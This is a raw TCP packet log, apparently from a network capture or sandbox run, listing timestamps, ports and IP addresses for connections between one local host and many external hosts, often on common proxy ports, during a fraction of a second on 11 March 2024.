Mar 11, 2024 16:42:18.394087076 CET	50000	16379	192.168.2.11	163.172.165.36
Mar 11, 2024 16:42:18.396889925 CET	3129	49800	115.248.66.131	192.168.2.11
Mar 11, 2024 16:42:18.397011042 CET	50001	34350	192.168.2.11	66.29.128.246
Mar 11, 2024 16:42:18.399357080 CET	50003	28695	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:18.399482965 CET	50002	80	192.168.2.11	172.67.181.197
Mar 11, 2024 16:42:18.400158882 CET	50004	3128	192.168.2.11	51.178.43.147
Mar 11, 2024 16:42:18.400536060 CET	80	49921	104.16.105.106	192.168.2.11
Mar 11, 2024 16:42:18.400609016 CET	49921	80	192.168.2.11	104.16.105.106
Mar 11, 2024 16:42:18.401139021 CET	49921	80	192.168.2.11	104.16.105.106
Mar 11, 2024 16:42:18.401671886 CET	50005	48612	192.168.2.11	191.103.219.225
Mar 11, 2024 16:42:18.404022932 CET	50006	80	192.168.2.11	104.27.15.161
Mar 11, 2024 16:42:18.405304909 CET	50007	24834	192.168.2.11	107.180.88.41
Mar 11, 2024 16:42:18.405507088 CET	80	49892	50.168.72.112	192.168.2.11
Mar 11, 2024 16:42:18.408121109 CET	50008	4153	192.168.2.11	110.74.195.2
Mar 11, 2024 16:42:18.408500910 CET	50009	18374	192.168.2.11	92.205.110.118
Mar 11, 2024 16:42:18.410521030 CET	80	49853	172.67.187.242	192.168.2.11
Mar 11, 2024 16:42:18.410537004 CET	80	49853	172.67.187.242	192.168.2.11
Mar 11, 2024 16:42:18.410975933 CET	50010	55137	192.168.2.11	192.169.197.146
Mar 11, 2024 16:42:18.411097050 CET	49853	80	192.168.2.11	172.67.187.242
Mar 11, 2024 16:42:18.411504030 CET	80	49853	172.67.187.242	192.168.2.11
Mar 11, 2024 16:42:18.411551952 CET	49853	80	192.168.2.11	172.67.187.242
Mar 11, 2024 16:42:18.412894011 CET	50011	3128	192.168.2.11	178.128.148.69
Mar 11, 2024 16:42:18.414892912 CET	50012	443	192.168.2.11	43.153.52.155
Mar 11, 2024 16:42:18.414921045 CET	443	50012	43.153.52.155	192.168.2.11
Mar 11, 2024 16:42:18.415013075 CET	50012	443	192.168.2.11	43.153.52.155
Mar 11, 2024 16:42:18.415887117 CET	50012	443	192.168.2.11	43.153.52.155
Mar 11, 2024 16:42:18.415900946 CET	443	50012	43.153.52.155	192.168.2.11
Mar 11, 2024 16:42:18.416022062 CET	443	50012	43.153.52.155	192.168.2.11
Mar 11, 2024 16:42:18.417248011 CET	50013	52017	192.168.2.11	131.0.87.225
Mar 11, 2024 16:42:18.419053078 CET	50014	8888	192.168.2.11	95.164.89.123
Mar 11, 2024 16:42:18.420106888 CET	50015	5385	192.168.2.11	72.10.160.170
Mar 11, 2024 16:42:18.421628952 CET	50016	80	192.168.2.11	162.159.242.138
Mar 11, 2024 16:42:18.423752069 CET	50017	80	192.168.2.11	50.168.210.239
Mar 11, 2024 16:42:18.425328016 CET	50018	1080	192.168.2.11	139.255.132.68
Mar 11, 2024 16:42:18.427028894 CET	8080	49814	103.190.54.141	192.168.2.11
Mar 11, 2024 16:42:18.427105904 CET	49814	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:18.427172899 CET	50019	31295	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:18.428189993 CET	49814	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:18.429598093 CET	50020	3127	192.168.2.11	59.92.70.176
Mar 11, 2024 16:42:18.431725025 CET	50021	3933	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:18.432430029 CET	8081	49713	79.110.196.145	192.168.2.11
Mar 11, 2024 16:42:18.432642937 CET	8081	49713	79.110.196.145	192.168.2.11
Mar 11, 2024 16:42:18.432657003 CET	8081	49713	79.110.196.145	192.168.2.11
Mar 11, 2024 16:42:18.432784081 CET	49713	8081	192.168.2.11	79.110.196.145
Mar 11, 2024 16:42:18.434700012 CET	80	49919	50.175.212.74	192.168.2.11
Mar 11, 2024 16:42:18.435313940 CET	80	49799	45.12.31.3	192.168.2.11
Mar 11, 2024 16:42:18.435420990 CET	5005	49848	1.194.236.229	192.168.2.11
Mar 11, 2024 16:42:18.435486078 CET	49848	5005	192.168.2.11	1.194.236.229
Mar 11, 2024 16:42:18.436687946 CET	80	49862	104.25.135.170	192.168.2.11
Mar 11, 2024 16:42:18.436718941 CET	80	49862	104.25.135.170	192.168.2.11
Mar 11, 2024 16:42:18.438287020 CET	32100	49904	50.233.111.162	192.168.2.11
Mar 11, 2024 16:42:18.438349962 CET	49904	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:18.439027071 CET	3128	49877	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:18.439078093 CET	49877	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:18.439090967 CET	80	49862	104.25.135.170	192.168.2.11
Mar 11, 2024 16:42:18.439137936 CET	49862	80	192.168.2.11	104.25.135.170
Mar 11, 2024 16:42:18.440772057 CET	8000	49736	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:18.440902948 CET	49736	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:18.441580057 CET	49877	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:18.441792965 CET	49862	80	192.168.2.11	104.25.135.170
Mar 11, 2024 16:42:18.441822052 CET	49848	5005	192.168.2.11	1.194.236.229
Mar 11, 2024 16:42:18.442321062 CET	8000	49736	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:18.442765951 CET	49904	32100	192.168.2.11	50.233.111.162
Mar 11, 2024 16:42:18.443177938 CET	49736	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:18.443228006 CET	50023	80	192.168.2.11	121.159.146.251
Mar 11, 2024 16:42:18.443558931 CET	49713	8081	192.168.2.11	79.110.196.145
Mar 11, 2024 16:42:18.444191933 CET	50022	3030	192.168.2.11	158.247.207.153
Mar 11, 2024 16:42:18.444410086 CET	80	49943	104.16.106.65	192.168.2.11
Mar 11, 2024 16:42:18.444468021 CET	49943	80	192.168.2.11	104.16.106.65
Mar 11, 2024 16:42:18.445518017 CET	49943	80	192.168.2.11	104.16.106.65
Mar 11, 2024 16:42:18.445800066 CET	50024	80	192.168.2.11	45.224.247.102
Mar 11, 2024 16:42:18.446521044 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:18.447071075 CET	50026	7777	192.168.2.11	111.8.155.54
Mar 11, 2024 16:42:18.448173046 CET	50027	8088	192.168.2.11	179.43.8.16
Mar 11, 2024 16:42:18.449652910 CET	50029	57391	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:18.449671984 CET	50028	16379	192.168.2.11	51.158.64.130
Mar 11, 2024 16:42:18.450359106 CET	50030	999	192.168.2.11	200.52.148.10
Mar 11, 2024 16:42:18.451266050 CET	50031	19058	192.168.2.11	195.154.43.184
Mar 11, 2024 16:42:18.455140114 CET	3129	49835	20.204.212.76	192.168.2.11
Mar 11, 2024 16:42:18.459583044 CET	9002	49830	220.248.70.237	192.168.2.11
Mar 11, 2024 16:42:18.459656954 CET	49830	9002	192.168.2.11	220.248.70.237
Mar 11, 2024 16:42:18.460011959 CET	49830	9002	192.168.2.11	220.248.70.237
Mar 11, 2024 16:42:18.460886955 CET	80	49889	50.174.145.11	192.168.2.11
Mar 11, 2024 16:42:18.461842060 CET	80	49893	50.223.239.166	192.168.2.11
Mar 11, 2024 16:42:18.462466002 CET	5775	49915	72.10.160.92	192.168.2.11
Mar 11, 2024 16:42:18.462892056 CET	34144	49871	51.75.126.150	192.168.2.11
Mar 11, 2024 16:42:18.462963104 CET	49871	34144	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:18.463244915 CET	49871	34144	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:18.464517117 CET	50032	42581	192.168.2.11	207.180.198.241
Mar 11, 2024 16:42:18.465189934 CET	50033	26087	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:18.466152906 CET	50034	3128	192.168.2.11	103.231.248.98
Mar 11, 2024 16:42:18.469278097 CET	50035	83	192.168.2.11	103.159.46.2
Mar 11, 2024 16:42:18.470580101 CET	50036	25847	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:18.473685980 CET	5678	49876	1.15.62.12	192.168.2.11
Mar 11, 2024 16:42:18.473872900 CET	49876	5678	192.168.2.11	1.15.62.12
Mar 11, 2024 16:42:18.474241972 CET	49876	5678	192.168.2.11	1.15.62.12
Mar 11, 2024 16:42:18.475204945 CET	50037	11070	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:18.475429058 CET	50038	80	192.168.2.11	104.20.56.71
Mar 11, 2024 16:42:18.475719929 CET	50040	8089	192.168.2.11	111.225.152.42
Mar 11, 2024 16:42:18.475888968 CET	50039	8000	192.168.2.11	137.184.200.42
Mar 11, 2024 16:42:18.476006985 CET	50041	16379	192.168.2.11	51.15.142.4
Mar 11, 2024 16:42:18.477260113 CET	50042	80	192.168.2.11	172.67.53.215
Mar 11, 2024 16:42:18.478151083 CET	50043	27262	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:18.478868961 CET	50044	9064	192.168.2.11	172.104.145.22
Mar 11, 2024 16:42:18.478955030 CET	50045	3128	192.168.2.11	113.100.209.184
Mar 11, 2024 16:42:18.479825020 CET	50046	4153	192.168.2.11	103.83.105.167
Mar 11, 2024 16:42:18.480931044 CET	50047	80	192.168.2.11	103.96.38.161
Mar 11, 2024 16:42:18.481503963 CET	50048	80	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:18.482021093 CET	50049	999	192.168.2.11	167.249.29.218
Mar 11, 2024 16:42:18.483891010 CET	50050	16823	192.168.2.11	167.86.102.169
Mar 11, 2024 16:42:18.484594107 CET	50051	3129	192.168.2.11	20.219.177.85
Mar 11, 2024 16:42:18.486501932 CET	50052	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:18.487498999 CET	80	49813	104.17.84.150	192.168.2.11
Mar 11, 2024 16:42:18.487752914 CET	50053	4153	192.168.2.11	202.166.219.80
Mar 11, 2024 16:42:18.489578962 CET	50054	10080	192.168.2.11	81.19.3.249
Mar 11, 2024 16:42:18.491473913 CET	50055	6014	192.168.2.11	45.11.95.166
Mar 11, 2024 16:42:18.491631031 CET	50056	8080	192.168.2.11	103.77.50.168
Mar 11, 2024 16:42:18.491755962 CET	80	49821	104.16.81.76	192.168.2.11
Mar 11, 2024 16:42:18.497101068 CET	9090	49867	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:18.497199059 CET	49867	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:18.499042034 CET	49867	9090	192.168.2.11	212.108.145.195
Mar 11, 2024 16:42:18.500195980 CET	50057	5678	192.168.2.11	58.84.32.118
Mar 11, 2024 16:42:18.500196934 CET	50058	8080	192.168.2.11	74.62.179.122
Mar 11, 2024 16:42:18.500427008 CET	50059	5678	192.168.2.11	202.165.47.49
Mar 11, 2024 16:42:18.500492096 CET	5678	49927	181.78.13.91	192.168.2.11
Mar 11, 2024 16:42:18.500744104 CET	50060	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:18.500998020 CET	49722	44607	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:18.500998020 CET	49724	15082	192.168.2.11	45.77.111.135
Mar 11, 2024 16:42:18.501482010 CET	50061	2016	192.168.2.11	103.83.178.205
Mar 11, 2024 16:42:18.501595020 CET	58386	49847	5.44.42.115	192.168.2.11
Mar 11, 2024 16:42:18.503670931 CET	50062	58275	192.168.2.11	162.214.191.209
Mar 11, 2024 16:42:18.503932953 CET	50063	443	192.168.2.11	91.231.186.133
Mar 11, 2024 16:42:18.503957987 CET	443	50063	91.231.186.133	192.168.2.11
Mar 11, 2024 16:42:18.505151033 CET	50064	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:18.505223036 CET	50063	443	192.168.2.11	91.231.186.133
Mar 11, 2024 16:42:18.505721092 CET	83	49857	103.168.164.94	192.168.2.11
Mar 11, 2024 16:42:18.505759001 CET	80	49974	104.18.20.160	192.168.2.11
Mar 11, 2024 16:42:18.505822897 CET	49857	83	192.168.2.11	103.168.164.94
Mar 11, 2024 16:42:18.505834103 CET	49974	80	192.168.2.11	104.18.20.160
Mar 11, 2024 16:42:18.505959034 CET	49974	80	192.168.2.11	104.18.20.160
Mar 11, 2024 16:42:18.506614923 CET	50063	443	192.168.2.11	91.231.186.133
Mar 11, 2024 16:42:18.506639004 CET	443	50063	91.231.186.133	192.168.2.11
Mar 11, 2024 16:42:18.506721973 CET	443	50063	91.231.186.133	192.168.2.11
Mar 11, 2024 16:42:18.507540941 CET	49857	83	192.168.2.11	103.168.164.94
Mar 11, 2024 16:42:18.508415937 CET	50065	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:18.509263039 CET	50066	8080	192.168.2.11	94.186.234.236
Mar 11, 2024 16:42:18.510497093 CET	50068	5678	192.168.2.11	223.25.98.82
Mar 11, 2024 16:42:18.510499954 CET	50067	8080	192.168.2.11	201.170.180.188
Mar 11, 2024 16:42:18.513258934 CET	80	49933	50.168.163.166	192.168.2.11
Mar 11, 2024 16:42:18.514873981 CET	8800	49740	43.133.136.208	192.168.2.11
Mar 11, 2024 16:42:18.514894009 CET	50069	8123	192.168.2.11	119.81.71.27
Mar 11, 2024 16:42:18.514894009 CET	50070	80	192.168.2.11	185.238.228.67
Mar 11, 2024 16:42:18.514985085 CET	8800	49740	43.133.136.208	192.168.2.11
Mar 11, 2024 16:42:18.515217066 CET	50072	42539	192.168.2.11	86.110.189.118
Mar 11, 2024 16:42:18.515275955 CET	50071	8082	192.168.2.11	58.69.201.117
Mar 11, 2024 16:42:18.515450001 CET	50073	5000	192.168.2.11	49.228.131.169
Mar 11, 2024 16:42:18.515512943 CET	50074	8089	192.168.2.11	77.242.24.241
Mar 11, 2024 16:42:18.515675068 CET	50075	8080	192.168.2.11	122.52.196.36
Mar 11, 2024 16:42:18.515837908 CET	50076	25485	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:18.515839100 CET	50077	8080	192.168.2.11	93.42.151.10
Mar 11, 2024 16:42:18.515928030 CET	50078	1080	192.168.2.11	202.6.224.52
Mar 11, 2024 16:42:18.516371012 CET	64768	49896	173.212.250.16	192.168.2.11
Mar 11, 2024 16:42:18.516396999 CET	50079	60080	192.168.2.11	87.255.200.108
Mar 11, 2024 16:42:18.516592979 CET	49717	9375	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:18.517321110 CET	50081	8080	192.168.2.11	98.64.169.17
Mar 11, 2024 16:42:18.517324924 CET	50080	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:18.518054962 CET	50082	5678	192.168.2.11	197.211.244.135
Mar 11, 2024 16:42:18.518903017 CET	50083	44523	192.168.2.11	192.99.207.129
Mar 11, 2024 16:42:18.519972086 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:18.520631075 CET	50084	80	192.168.2.11	5.189.184.6
Mar 11, 2024 16:42:18.521548986 CET	18067	49949	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:18.521771908 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:18.521919966 CET	50085	9002	192.168.2.11	111.59.4.88
Mar 11, 2024 16:42:18.522768974 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:18.522919893 CET	50086	56350	192.168.2.11	148.66.130.53
Mar 11, 2024 16:42:18.523567915 CET	50087	8080	192.168.2.11	103.81.115.210
Mar 11, 2024 16:42:18.523854017 CET	50088	80	192.168.2.11	146.70.80.76
Mar 11, 2024 16:42:18.523973942 CET	26353	49950	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:18.524445057 CET	50089	999	192.168.2.11	186.24.9.114
Mar 11, 2024 16:42:18.524813890 CET	50090	80	192.168.2.11	23.227.38.198
Mar 11, 2024 16:42:18.525073051 CET	50091	7777	192.168.2.11	218.6.120.111
Mar 11, 2024 16:42:18.525938034 CET	8800	49740	43.133.136.208	192.168.2.11
Mar 11, 2024 16:42:18.526047945 CET	49740	8800	192.168.2.11	43.133.136.208
Mar 11, 2024 16:42:18.527795076 CET	50092	80	192.168.2.11	190.128.241.102
Mar 11, 2024 16:42:18.529918909 CET	50093	1088	192.168.2.11	117.202.20.69
Mar 11, 2024 16:42:18.530160904 CET	50094	5678	192.168.2.11	203.160.57.87
Mar 11, 2024 16:42:18.530868053 CET	50095	31979	192.168.2.11	51.77.65.164
Mar 11, 2024 16:42:18.530921936 CET	50096	16379	192.168.2.11	51.158.108.134
Mar 11, 2024 16:42:18.531557083 CET	50097	53340	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:18.532130003 CET	50098	7853	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:18.533325911 CET	50099	40080	192.168.2.11	67.213.212.50
Mar 11, 2024 16:42:18.533327103 CET	50100	3500	192.168.2.11	23.225.72.122
Mar 11, 2024 16:42:18.533809900 CET	50101	4153	192.168.2.11	203.76.117.74
Mar 11, 2024 16:42:18.535396099 CET	50102	40975	192.168.2.11	146.59.18.246
Mar 11, 2024 16:42:18.535396099 CET	50103	8899	192.168.2.11	66.228.140.209
Mar 11, 2024 16:42:18.535828114 CET	7777	49882	123.30.154.171	192.168.2.11
Mar 11, 2024 16:42:18.537432909 CET	50104	17893	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:18.537565947 CET	49882	7777	192.168.2.11	123.30.154.171
Mar 11, 2024 16:42:18.537851095 CET	49882	7777	192.168.2.11	123.30.154.171
Mar 11, 2024 16:42:18.538502932 CET	50105	8080	192.168.2.11	159.112.141.44
Mar 11, 2024 16:42:18.538587093 CET	50106	8080	192.168.2.11	183.179.187.16
Mar 11, 2024 16:42:18.538729906 CET	50107	54924	192.168.2.11	67.213.210.118
Mar 11, 2024 16:42:18.539547920 CET	50108	8080	192.168.2.11	103.167.68.77
Mar 11, 2024 16:42:18.539985895 CET	50109	6022	192.168.2.11	186.215.87.194
Mar 11, 2024 16:42:18.540661097 CET	50111	3629	192.168.2.11	81.12.104.43
Mar 11, 2024 16:42:18.540664911 CET	50110	9999	192.168.2.11	115.221.242.131
Mar 11, 2024 16:42:18.541599989 CET	80	49841	185.162.229.127	192.168.2.11
Mar 11, 2024 16:42:18.542537928 CET	50112	8080	192.168.2.11	156.232.9.194
Mar 11, 2024 16:42:18.544644117 CET	3128	49910	194.182.187.78	192.168.2.11
Mar 11, 2024 16:42:18.547857046 CET	49753	30951	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:18.547858953 CET	49752	40351	192.168.2.11	51.222.241.157
Mar 11, 2024 16:42:18.548094988 CET	8888	49905	65.109.152.88	192.168.2.11
Mar 11, 2024 16:42:18.548171997 CET	49905	8888	192.168.2.11	65.109.152.88
Mar 11, 2024 16:42:18.552314997 CET	5678	49881	176.119.227.65	192.168.2.11
Mar 11, 2024 16:42:18.553354025 CET	50113	3128	192.168.2.11	62.171.133.66
Mar 11, 2024 16:42:18.553369045 CET	49905	8888	192.168.2.11	65.109.152.88
Mar 11, 2024 16:42:18.553709030 CET	4145	49973	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:18.553725004 CET	3629	49843	178.158.197.147	192.168.2.11
Mar 11, 2024 16:42:18.553802967 CET	49973	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:18.554047108 CET	49973	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:18.554048061 CET	50114	80	192.168.2.11	50.145.6.36
Mar 11, 2024 16:42:18.554220915 CET	80	50002	172.67.181.197	192.168.2.11
Mar 11, 2024 16:42:18.554677010 CET	50115	24279	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:18.554763079 CET	50002	80	192.168.2.11	172.67.181.197
Mar 11, 2024 16:42:18.555196047 CET	80	49921	104.16.105.106	192.168.2.11
Mar 11, 2024 16:42:18.555275917 CET	80	49921	104.16.105.106	192.168.2.11
Mar 11, 2024 16:42:18.555433989 CET	50002	80	192.168.2.11	172.67.181.197
Mar 11, 2024 16:42:18.555746078 CET	50116	8080	192.168.2.11	138.0.143.128
Mar 11, 2024 16:42:18.555973053 CET	49921	80	192.168.2.11	104.16.105.106
Mar 11, 2024 16:42:18.556773901 CET	50117	3128	192.168.2.11	155.50.213.149
Mar 11, 2024 16:42:18.557447910 CET	80	49921	104.16.105.106	192.168.2.11
Mar 11, 2024 16:42:18.557605982 CET	49921	80	192.168.2.11	104.16.105.106
Mar 11, 2024 16:42:18.558456898 CET	9764	49961	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:18.558473110 CET	80	50006	104.27.15.161	192.168.2.11
Mar 11, 2024 16:42:18.558552980 CET	50006	80	192.168.2.11	104.27.15.161
Mar 11, 2024 16:42:18.558556080 CET	49961	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.561811924 CET	8193	49930	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:18.563493013 CET	49716	80	192.168.2.11	50.217.226.43
Mar 11, 2024 16:42:18.563551903 CET	49930	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:18.563990116 CET	17145	49964	67.43.236.18	192.168.2.11
Mar 11, 2024 16:42:18.564136982 CET	49930	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:18.564424038 CET	49961	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:18.564424038 CET	50006	80	192.168.2.11	104.27.15.161
Mar 11, 2024 16:42:18.565113068 CET	80	49853	172.67.187.242	192.168.2.11
Mar 11, 2024 16:42:18.565804958 CET	50119	80	192.168.2.11	104.20.123.164
Mar 11, 2024 16:42:18.565807104 CET	50118	50062	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:18.566312075 CET	50120	999	192.168.2.11	181.78.74.78
Mar 11, 2024 16:42:18.570785046 CET	50121	1431	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:18.570889950 CET	80	49912	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:18.570894003 CET	50122	8080	192.168.2.11	185.200.38.117
Mar 11, 2024 16:42:18.571026087 CET	50123	8000	192.168.2.11	103.182.112.11
Mar 11, 2024 16:42:18.571105003 CET	49912	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:18.571156979 CET	50124	10363	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:18.571353912 CET	50125	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:18.571357965 CET	50126	3129	192.168.2.11	45.134.80.222
Mar 11, 2024 16:42:18.571551085 CET	50128	55066	192.168.2.11	167.86.115.103
Mar 11, 2024 16:42:18.571783066 CET	50129	80	192.168.2.11	104.21.194.182
Mar 11, 2024 16:42:18.571805954 CET	50130	26552	192.168.2.11	161.97.173.78
Mar 11, 2024 16:42:18.571981907 CET	50131	14921	192.168.2.11	192.252.211.197
Mar 11, 2024 16:42:18.572036028 CET	50132	80	192.168.2.11	172.67.182.0
Mar 11, 2024 16:42:18.572190046 CET	50133	1080	192.168.2.11	171.248.209.6
Mar 11, 2024 16:42:18.572803020 CET	50134	999	192.168.2.11	177.234.194.226
Mar 11, 2024 16:42:18.572840929 CET	49912	80	192.168.2.11	39.105.5.126
Mar 11, 2024 16:42:18.573374033 CET	50135	10705	192.168.2.11	47.113.179.6
Mar 11, 2024 16:42:18.573463917 CET	50136	1080	192.168.2.11	64.124.145.1
Mar 11, 2024 16:42:18.573981047 CET	50137	5678	192.168.2.11	169.255.198.8
Mar 11, 2024 16:42:18.574184895 CET	50127	55507	192.168.2.11	5.58.33.187
Mar 11, 2024 16:42:18.575155973 CET	50139	8080	192.168.2.11	103.153.40.38
Mar 11, 2024 16:42:18.575160027 CET	50138	999	192.168.2.11	45.229.34.174
Mar 11, 2024 16:42:18.576088905 CET	55137	50010	192.169.197.146	192.168.2.11
Mar 11, 2024 16:42:18.577877045 CET	50140	20037	192.168.2.11	64.44.139.12
Mar 11, 2024 16:42:18.579248905 CET	50141	3128	192.168.2.11	194.186.35.70
Mar 11, 2024 16:42:18.580044985 CET	50142	443	192.168.2.11	43.157.32.4
Mar 11, 2024 16:42:18.580076933 CET	443	50142	43.157.32.4	192.168.2.11
Mar 11, 2024 16:42:18.580192089 CET	50142	443	192.168.2.11	43.157.32.4
Mar 11, 2024 16:42:18.580773115 CET	50142	443	192.168.2.11	43.157.32.4
Mar 11, 2024 16:42:18.580796957 CET	443	50142	43.157.32.4	192.168.2.11
Mar 11, 2024 16:42:18.580878973 CET	443	50142	43.157.32.4	192.168.2.11
Mar 11, 2024 16:42:18.580905914 CET	50143	63614	192.168.2.11	173.212.237.43
Mar 11, 2024 16:42:18.581787109 CET	4145	49858	184.170.249.65	192.168.2.11
Mar 11, 2024 16:42:18.581825018 CET	4145	49858	184.170.249.65	192.168.2.11
Mar 11, 2024 16:42:18.582000017 CET	50144	9898	192.168.2.11	213.165.168.190
Mar 11, 2024 16:42:18.582541943 CET	80	50016	162.159.242.138	192.168.2.11
Mar 11, 2024 16:42:18.582638025 CET	50016	80	192.168.2.11	162.159.242.138
Mar 11, 2024 16:42:18.583237886 CET	1080	49765	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:18.583420038 CET	1080	49765	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:18.583822012 CET	50145	27234	192.168.2.11	179.125.51.54
Mar 11, 2024 16:42:18.583882093 CET	50146	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:18.583909035 CET	50016	80	192.168.2.11	162.159.242.138
Mar 11, 2024 16:42:18.584958076 CET	50147	4145	192.168.2.11	184.170.249.65
Mar 11, 2024 16:42:18.585128069 CET	50148	8080	192.168.2.11	188.132.222.40
Mar 11, 2024 16:42:18.587812901 CET	50149	80	192.168.2.11	104.16.143.127
Mar 11, 2024 16:42:18.587815046 CET	50150	8888	192.168.2.11	36.134.91.82
Mar 11, 2024 16:42:18.588253021 CET	50151	34411	192.168.2.11	212.110.188.222
Mar 11, 2024 16:42:18.589234114 CET	25639	49982	67.43.227.226	192.168.2.11
Mar 11, 2024 16:42:18.589526892 CET	9401	49823	147.75.92.251	192.168.2.11
Mar 11, 2024 16:42:18.589560986 CET	9401	49823	147.75.92.251	192.168.2.11
Mar 11, 2024 16:42:18.589692116 CET	49823	9401	192.168.2.11	147.75.92.251
Mar 11, 2024 16:42:18.590054035 CET	49823	9401	192.168.2.11	147.75.92.251
Mar 11, 2024 16:42:18.590306044 CET	15673	49934	43.131.245.216	192.168.2.11
Mar 11, 2024 16:42:18.591547966 CET	50152	3128	192.168.2.11	146.190.51.181
Mar 11, 2024 16:42:18.593590021 CET	50153	7183	192.168.2.11	132.148.245.247
Mar 11, 2024 16:42:18.594702959 CET	50154	3128	192.168.2.11	80.251.219.40
Mar 11, 2024 16:42:18.594717979 CET	50155	59268	192.168.2.11	67.213.212.50
Mar 11, 2024 16:42:18.594769955 CET	49768	4495	192.168.2.11	67.43.228.252
Mar 11, 2024 16:42:18.594938993 CET	50156	80	192.168.2.11	50.170.90.28
Mar 11, 2024 16:42:18.595129013 CET	50157	8080	192.168.2.11	103.230.49.132
Mar 11, 2024 16:42:18.595129013 CET	50158	21777	192.168.2.11	51.222.84.118
Mar 11, 2024 16:42:18.595999002 CET	80	49862	104.25.135.170	192.168.2.11
Mar 11, 2024 16:42:18.596028090 CET	50159	24787	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:18.596230984 CET	50160	9990	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:18.596539974 CET	50161	3128	192.168.2.11	193.56.255.179
Mar 11, 2024 16:42:18.596810102 CET	50162	999	192.168.2.11	177.234.194.158
Mar 11, 2024 16:42:18.597135067 CET	50163	8080	192.168.2.11	103.148.130.5
Mar 11, 2024 16:42:18.598836899 CET	50164	57364	192.168.2.11	162.241.53.72
Mar 11, 2024 16:42:18.599762917 CET	80	49943	104.16.106.65	192.168.2.11
Mar 11, 2024 16:42:18.599776983 CET	80	49943	104.16.106.65	192.168.2.11
Mar 11, 2024 16:42:18.600127935 CET	50165	3256	192.168.2.11	106.45.221.168
Mar 11, 2024 16:42:18.600282907 CET	49943	80	192.168.2.11	104.16.106.65
Mar 11, 2024 16:42:18.600718021 CET	80	49943	104.16.106.65	192.168.2.11
Mar 11, 2024 16:42:18.602128029 CET	50166	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:18.602178097 CET	49943	80	192.168.2.11	104.16.106.65
Mar 11, 2024 16:42:18.602560043 CET	50167	41274	192.168.2.11	162.241.158.204
Mar 11, 2024 16:42:18.603204012 CET	80	49947	50.170.90.24	192.168.2.11
Mar 11, 2024 16:42:18.603226900 CET	50168	47036	192.168.2.11	83.151.4.172
Mar 11, 2024 16:42:18.603648901 CET	50169	3128	192.168.2.11	165.232.89.116
Mar 11, 2024 16:42:18.605671883 CET	50171	9090	192.168.2.11	189.240.60.163
Mar 11, 2024 16:42:18.605673075 CET	50170	3128	192.168.2.11	41.223.232.117
Mar 11, 2024 16:42:18.607004881 CET	50172	5678	192.168.2.11	89.34.198.253
Mar 11, 2024 16:42:18.608170033 CET	50173	1337	192.168.2.11	185.217.136.67
Mar 11, 2024 16:42:18.608695030 CET	50174	3129	192.168.2.11	20.204.214.79
Mar 11, 2024 16:42:18.609417915 CET	4145	49852	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:18.609507084 CET	4145	49852	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:18.610198975 CET	50175	13477	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:18.610375881 CET	49775	80	192.168.2.11	50.239.72.18
